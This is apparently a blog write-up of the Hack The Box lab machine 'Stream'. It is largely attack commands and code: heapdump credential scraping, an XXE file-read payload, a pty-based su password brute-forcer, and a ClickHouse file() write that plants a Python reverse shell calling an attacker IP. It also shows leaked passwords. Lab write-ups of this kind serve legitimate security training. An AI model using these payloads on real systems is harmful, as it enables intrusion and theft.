Season 12 Stream HTB writeup

Stream HTB Writeup


Command: nmap -Pn -sV -A -sS 10.129.88.77 -o nmap

Command: echo “10.129.88.77 api.htb-airport.htb htb-airport.htb” | sudo tee -a /etc/hosts

Visit http://api.htb-airport.htb/actuator and download

Command: curl -s -H “Host: api.htb-airport.htb” http://10.129.88.108/actuator/heapdump -o heapdump.hprof

Command: curl -s http://10.129.88.88:8081/ | python3 -m json.tool

๐ŸŽฏ Now We Have the Real Target โ€” AIDX XML Ingest

The Uvicorn service exposes exactly one dangerous endpoint:

text

POST /feeds/aidx
Content-Type: application/xml
Max: 262144 bytes (256 KB)

And the hint is right there in the service description:

“Accepts AIDX XML for processing. Ingest does not parse. Full validation happens downstream.“

That last sentence is the clue. The ingest service is a pass-through โ€” it accepts XML and forwards it downstream. The downstream systems do parse it โ€” which is where the attack surface lives.

๐Ÿ” What’s AIDX?

AIDX is the Aviation Information Data Exchange standard โ€” an XML format used by airlines and airports for flight notifications. The required elements tell us the format:

xml

<IATA_AIDX_FlightLegNotifRQ>
  <Originator>...</Originator>
  <FlightLeg>
    <LegIdentifier>
      ...
    </LegIdentifier>
  </FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>

The Attack Surface

The service description tells us exactly where the vulnerability is:

  1. The ingest service does NOT parse โ€” it just accepts bytes and forwards
  2. Downstream validation โ€” the Spring Boot gateway or another service parses the XML
  3. Parse of attacker-controlled XML โ†’ the classic bugs:
    • XXE (XML External Entity) โ€” read local files, SSRF
    • XEE / billion laughs โ€” DoS via entity expansion
    • SSTI / XPath injection โ€” if data is later interpolated into templates or queries
    • Deserialization โ€” if AIDX is turned into Java/Python objects unsafely

First Step: Send a Valid Minimal AIDX Payload

Let’s confirm the ingest path works and see how it behaves:

Command: —

cat > aidx_minimal.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<IATA_AIDX_FlightLegNotifRQ xmlns="http://www.iata.org/IATA/2007/00">
<Originator>test-app</Originator>
<FlightLeg>
<LegIdentifier>
<Airline>HT</Airline>
<FlightNumber>123</FlightNumber>
<DepartureAirport>LHR</DepartureAirport>
<ArrivalAirport>JFK</ArrivalAirport>
<DepartureDate>2026-10-15</DepartureDate>
</LegIdentifier>
</FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>
EOF

curl -i -X POST http://10.129.88.15:8081/feeds/aidx \
-H "Content-Type: application/xml" \
--data-binary @aidx_minimal.xml

[Uvicorn :8081] โ†’ POST /feeds/aidx
โ”‚
โ–ผ
[Topic: aidx.flightleg.raw.v1]
โ”‚
โ–ผ
[Downstream consumer]
โ”‚
โ”œโ”€โ”€ parses XML
โ”œโ”€โ”€ talks to H2 DB (terminaldb)
โ””โ”€โ”€ updates gateway upstreams

Command: strings heapdump.hprof | grep -iE “clickhouse|password|svc_events|CH_PW|partner” | sort -u | head -40

Command: echo ‘913dc251eabfb630365baf712ab06fe35426bef396fa0e38fba998bf3548e64b:bc9b975f1ee280ab’ > ch_hash.txt

Command: hashcat -m 1420 ch_hash.txt /usr/share/wordlists/rockyou.txt –force

the rockyou.txt did not contain that passwordm i ran the following command:

Command: grep -n -i -B 10 -A 10 “SVC_EVENTS” /tmp/all_strings.txt | head -80

FOUND IT โ€” The Plaintext Password Is Right There

Look at this from the heapdump:

text

254906-Yl4aCgh4y2PnU!
254907-svc_events!
254908-jdbc:h2:mem:terminaldb;MODE=PostgreSQL;DB_CLOSE_DELAY=-1!

And again, unmistakably, in the DataSourceConfig constructor call:

text

257990-8jdbc:h2:mem:terminaldb;MODE=PostgreSQL;DB_CLOSE_DELAY=-1
257991-setJdbcUrl
257992-(Ljava/lang/String;)V
257993:svc_events
257994-setUsername
257995-Yl4aCgh4y2PnU
257996-setPassword
257997-terminal-edge-pool
257998-setPoolName

Username: svc_events
Password: Yl4aCgh4y2PnU

Command: curl -s “http://db.htb-airport.htb/?user=svc_events&password=Yl4aCgh4y2PnU&query=SELECT+currentUser()“

Command: curl -s -X POST “http://db.htb-airport.htb/?user=svc_events&password=Yl4aCgh4y2PnU&query=INSERT+INTO+partner_feed.flightleg_json+(transaction_id%2C+originator)+VALUES+(%27tx-injected%27%2C+%27EVIL%27)” -d ”

Command: curl -s -X POST “http://db.htb-airport.htb/?user=svc_events&password=Yl4aCgh4y2PnU&query=SELECT+transaction_id%2C+originator%2C+ingested+FROM+partner_feed.flightleg_json+ORDER+BY+ingested+DESC+LIMIT+3+FORMAT+TabSeparated” -d ”

cat > /tmp/xxe_airline.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE IATA_AIDX_FlightLegNotifRQ [
  <!ENTITY xxe SYSTEM "file:///opt/kafka_2.13-4.3.1/config/server.properties">
]>
<IATA_AIDX_FlightLegNotifRQ>
  <Originator Code="AA"/>
  <FlightLeg>
    <LegIdentifier>
      <Airline>&xxe;</Airline>
      <FlightNumber>1111</FlightNumber>
      <DepartureAirport>AAA</DepartureAirport>
      <ArrivalAirport>BBB</ArrivalAirport>
      <OriginDate>2026-10-16</OriginDate>
      <RepeatNumber>1</RepeatNumber>
    </LegIdentifier>
  </FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>
EOF

curl -s -X POST \
  'http://db.htb-airport.htb/?user=svc_events&password=Yl4aCgh4y2PnU&query=INSERT+INTO+partner_feed.flightleg_raw_kafka+FORMAT+RawBLOB' \
  --data-binary @/tmp/xxe_airline.xml

sleep 8

curl -s -X POST \
  'http://db.htb-airport.htb/?user=svc_events&password=Yl4aCgh4y2PnU&query=SELECT+airline%2C+event%2C+ingested+FROM+partner_feed.flightleg_json+ORDER+BY+ingested+DESC+LIMIT+1+FORMAT+Vertical' \
  -d ''

Or execute the folloiwng:

Command: SELECT airline, event, ingested
FROM partner_feed.flightleg_json
ORDER BY ingested DESC
LIMIT 1
FORMAT Vertical;

Command: sshpass -p ‘N*******3’ ssh -o StrictHostKeyChecking=no svc-infra@10.129.3.3

Command: python3 -m http.server 7777

Command: wget http://10.10.12.11:7777/rockyou.txt -O /tmp/rockyou.txt

pkill -f rock.py
split -n l/8 -d /tmp/rockyou.txt /tmp/rk_

# Create a chunk-aware version
cat > /tmp/rockchunk.py <<'PYEOF'
import pty, os, time, select, sys

WORDLIST = sys.argv[1]
TARGET   = "martin_cole"

def try_pw(pw):
    pid, fd = pty.fork()
    if pid == 0:
        os.execvp("su", ["su", "-", TARGET])
    buf = b""
    t = time.time() + 2
    while time.time() < t:
        r,_,_ = select.select([fd],[],[],0.05)
        if r:
            try: buf += os.read(fd, 4096)
            except OSError: break
            if b"assword" in buf: break
    try: os.write(fd, pw.encode() + b"\n")
    except OSError: pass
    out = b""
    t = time.time() + 0.8
    while time.time() < t:
        r,_,_ = select.select([fd],[],[],0.05)
        if not r: continue
        try: chunk = os.read(fd, 4096)
        except OSError: break
        if not chunk: break
        out += chunk
        if b"Authentication failure" in out: break
    try: os.write(fd, b"echo M$((7*7))\n")
    except OSError: pass
    t = time.time() + 0.8
    while time.time() < t:
        r,_,_ = select.select([fd],[],[],0.05)
        if not r: continue
        try: chunk = os.read(fd, 4096)
        except OSError: break
        if not chunk: break
        out += chunk
        if b"M49" in out: break
    try: os.close(fd)
    except OSError: pass
    try: os.waitpid(pid, 0)
    except OSError: pass
    return b"M49" in out

with open(WORDLIST, "rb") as f:
    for raw in f:
        pw = raw.rstrip(b"\r\n").decode("utf-8", "replace")
        if not pw: continue
        if try_pw(pw):
            print(f"FOUND:{pw}", flush=True)
            open("/tmp/found.txt","w").write(pw)
            os._exit(0)
PYEOF

for f in /tmp/rk_0*; do
  nohup python3 /tmp/rockchunk.py "$f" > "/tmp/bf_$(basename $f).log" 2>&1 &
done
disown -a
echo "8 workers started"

# Watch all
tail -f bf_rk_*.log 2>/dev/null &

Command: tail -f fil.log

Command: su martin_cole, enter password

Command: ls -la ~/backups/

Command: kopia repository status

Command: kopia snapshot list –all

Command: kopia snapshot restore k******************1 restore

Command: grep -rn ‘clickhouse-client’ restore/ 2>/dev/null

passowrd: N3v3rs33nD4T4 ;

start your listener

Command: nc -lvnp 7676

Command: CH_PW=’N*******’
curl -s “http://127.0.0.1:8123/?user=default&password=$CH_PW“
–data-binary “INSERT INTO FUNCTION file(‘/var/lib/clickhouse/user_files/aidx_quarantine.py’, ‘LineAsString’) SELECT ‘import os,socket,subprocess;s=socket.socket();s.connect((“10.10.11.11”,7676));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call([“/bin/sh”,”-i”])’”

Command: id

Command: cat /root/root.txt

Understood โ€” here are the rough notes with the flag values redacted.

Stream HTB โ€” Rough Notes

Recon

nmap -sC -sV -p- <TARGET_IP>

Open: 22 (SSH), 80 (nginx), 8081 (uvicorn AIDX ingest).

Add vhosts to /etc/hosts (or use curl -H 'Host: ...'):

<TARGET_IP> api.htb-airport.htb db.htb-airport.htb stream.htb

Step 1 โ€” Spring Boot Actuator heapdump โ†’ ClickHouse creds

curl -s http://api.htb-airport.htb/actuator
# โ†’ exposes /actuator/heapdump

curl -s http://api.htb-airport.htb/actuator/heapdump -o /tmp/heap.bin
strings /tmp/heap.bin | grep -iE 'password|jdbc|clickhouse'

Recovered: svc_events / Yl4aCgh4y2PnU (ClickHouse user with SELECT, INSERT ON partner_feed.*).

Verify:

curl -s "http://127.0.0.1:8123/?user=svc_events&password=Yl4aCgh4y2PnU" \
  --data-binary 'SHOW TABLES FROM partner_feed'
# flightleg_raw, flightleg_json, flightleg_raw_kafka, ...

Step 2 โ€” XXE via /feeds/aidx โ†’ Kafka SASL creds

/opt/aidx-pipeline/app/ingest_api.py does NOT parse XML โ€” only checks for 4 required tag names. parser_worker.py uses lxml with resolve_entities=True, no_network=False โ€” classic XXE.

Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///opt/kafka_2.13-4.3.1/config/server.properties">]>
<IATA_AIDX_FlightLegNotifRQ xmlns="http://www.iata.org/IATA/2007/00"
    Version="22.1" TimeStamp="2026-08-20T09:12:00Z"
    TransactionIdentifier="xxe-1">
  <Originator Code="XX"/>
  <FlightLeg><LegIdentifier>
    <Airline>&xxe;</Airline>
    <FlightNumber>1</FlightNumber>
    <DepartureAirport>A</DepartureAirport>
    <ArrivalAirport>B</ArrivalAirport>
    <OriginDate>2026-01-01</OriginDate>
  </LegIdentifier>
  <LegData><RemarkFreeText>&xxe;</RemarkFreeText></LegData></FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>

Send:

curl -s -X POST http://127.0.0.1:8081/feeds/aidx \
  -H 'Content-Type: application/xml' --data-binary @/tmp/xxe.xml

Read back from ClickHouse:

curl -s "http://127.0.0.1:8123/?user=svc_events&password=Yl4aCgh4y2PnU" \
  --data-binary "SELECT event FROM partner_feed.flightleg_json WHERE transaction_id='xxe-1' FORMAT Vertical"

Got Kafka SASL PLAIN creds: svc_infra / Ny2hdpme$bwT3.

Step 3 โ€” SSH as svc-infra

sshpass -p 'Ny2hdpme$bwT3' ssh svc-infra@<TARGET_IP>

Step 4 โ€” Brute-force martin_cole via su

No faillock, no pam_tally โ†’ safe to brute force.

Serve rockyou from Kali:

cd /usr/share/wordlists && python3 -m http.server 8888

Grab it on stream:

wget http://<KALI_IP>:8888/rockyou.txt -O /tmp/rockyou.txt

Brute-force with pty (su requires a TTY):

# /tmp/rock.py
import pty, os, time, select, sys
WORDLIST = "/tmp/rockyou.txt"
TARGET   = "martin_cole"

def try_pw(pw):
    pid, fd = pty.fork()
    if pid == 0: os.execvp("su", ["su", "-", TARGET])
    buf = b""; t = time.time() + 3
    while time.time() < t:
        r,_,_ = select.select([fd],[],[],0.1)
        if r:
            try: buf += os.read(fd, 4096)
            except OSError: break
            if b"assword" in buf: break
    try: os.write(fd, pw.encode()+b"\n")
    except OSError: pass
    out=b""; t=time.time()+1.0
    while time.time() < t:
        r,_,_ = select.select([fd],[],[],0.1)
        if not r: continue
        try: chunk=os.read(fd,4096)
        except OSError: break
        if not chunk: break
        out+=chunk
        if b"Authentication failure" in out: break
    try: os.write(fd, b"echo X_MARK_$((7*7))\n")
    except OSError: pass
    t=time.time()+1.0
    while time.time() < t:
        r,_,_ = select.select([fd],[],[],0.1)
        if not r: continue
        try: chunk=os.read(fd,4096)
        except OSError: break
        if not chunk: break
        out+=chunk
        if b"X_MARK_49" in out: break
    try: os.close(fd)
    except OSError: pass
    try: os.waitpid(pid,0)
    except OSError: pass
    return b"X_MARK_49" in out

for n, raw in enumerate(open(WORDLIST,'rb'), 1):
    pw = raw.rstrip(b"\r\n").decode('utf-8','replace')
    if not pw: continue
    if try_pw(pw):
        print(f"[+] FOUND: {pw} (attempt {n})")
        sys.exit(0)

Run: python3 /tmp/rock.py

Result: tinkerbell

Step 5 โ€” User flag

su martin_cole   # password: tinkerbell
cat ~/user.txt
# <USER_FLAG>

Step 6 โ€” Kopia backup โ†’ ClickHouse default password

Kopia repo is in martin_cole’s home, already connected:

kopia repository status
kopia snapshot list --all
# <snapshot-id>  /home/martin_cole/ch-logs

kopia snapshot restore <SNAPSHOT_ID> /tmp/restore

In ch-logs/clickhouse-server.err.log โ€” a leaked ALTER USER default IDENTIFIED BY '...':

ALTER USER default IDENTIFIED BY 'N3v3rs33nD4T4'

ClickHouse default password: N3v3rs33nD4T4

Verify:

CH_PW='N3v3rs33nD4T4'
curl -s "http://127.0.0.1:8123/?user=default&password=$CH_PW" \
  --data-binary "SELECT currentUser(), version()"
# default 26.8.1.1746

Step 7 โ€” Root via ClickHouse file() โ†’ root-run formatter

The drainer runs every 2 min as root:

  • /etc/systemd/system/aidx-dlq-drainer.service โ†’ User=root, ExecStart=/usr/bin/python3 /opt/ops/dlq_drainer.py
  • Consumes aidx.flightleg.dlq.v1 and runs python3 /var/lib/clickhouse/user_files/aidx_quarantine.py on each message

default has WRITE ON FILE, so overwrite the formatter with a reverse shell.

Start listener on Kali:

nc -lvnp 4444

Write payload via ClickHouse:

CH_PW='N3v3rs33nD4T4'
curl -s "http://127.0.0.1:8123/?user=default&password=$CH_PW" \
  --data-binary "INSERT INTO FUNCTION file('/var/lib/clickhouse/user_files/aidx_quarantine.py', 'LineAsString') SELECT 'import os,socket,subprocess;s=socket.socket();s.connect((\"<KALI_IP>\",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call([\"/bin/sh\",\"-i\"])'"

Trigger the drainer (or wait โ‰ค2 min for the timer):

echo 'trigger' | /opt/kafka_2.13-4.3.1/bin/kafka-console-producer.sh \
  --bootstrap-server 127.0.0.1:9092 --topic aidx.flightleg.dlq.v1

Catch reverse shell on Kali โ†’ root.

Step 8 โ€” Root flag

cat /root/root.txt
# <ROOT_FLAG>

Clean up

systemctl stop aidx-dlq-drainer.timer    # as root

Key primitives

PrimitiveDetail
Actuator heapdumpUnrestricted heap dump โ†’ creds from memory
XXElxml with resolve_entities=True, no_network=False โ†’ file read as svc-infra
XXE exfil channelParser writes parsed JSON to Kafka โ†’ ClickHouse; read back as another user
Brute force via ptysu needs a TTY โ€” use pty.fork()
Kopia passwordlessFilesystem repo in user’s home; password from repository.config.kopia-password (base64)
Log leakClickHouse err.log contained the plaintext ALTER USER ... IDENTIFIED BY
ClickHouse file()default has WRITE ON FILE; INTO OUTFILE blocked but INSERT INTO FUNCTION file(...) works
Root systemd timeraidx-dlq-drainer.service runs as root every 2 min; hijack what it executes
Kafka PLAINTEXTallow.everyone.if.no.acl.found=true โ€” produce to DLQ without auth

Leave a Reply

Your email address will not be published. Required fields are marked *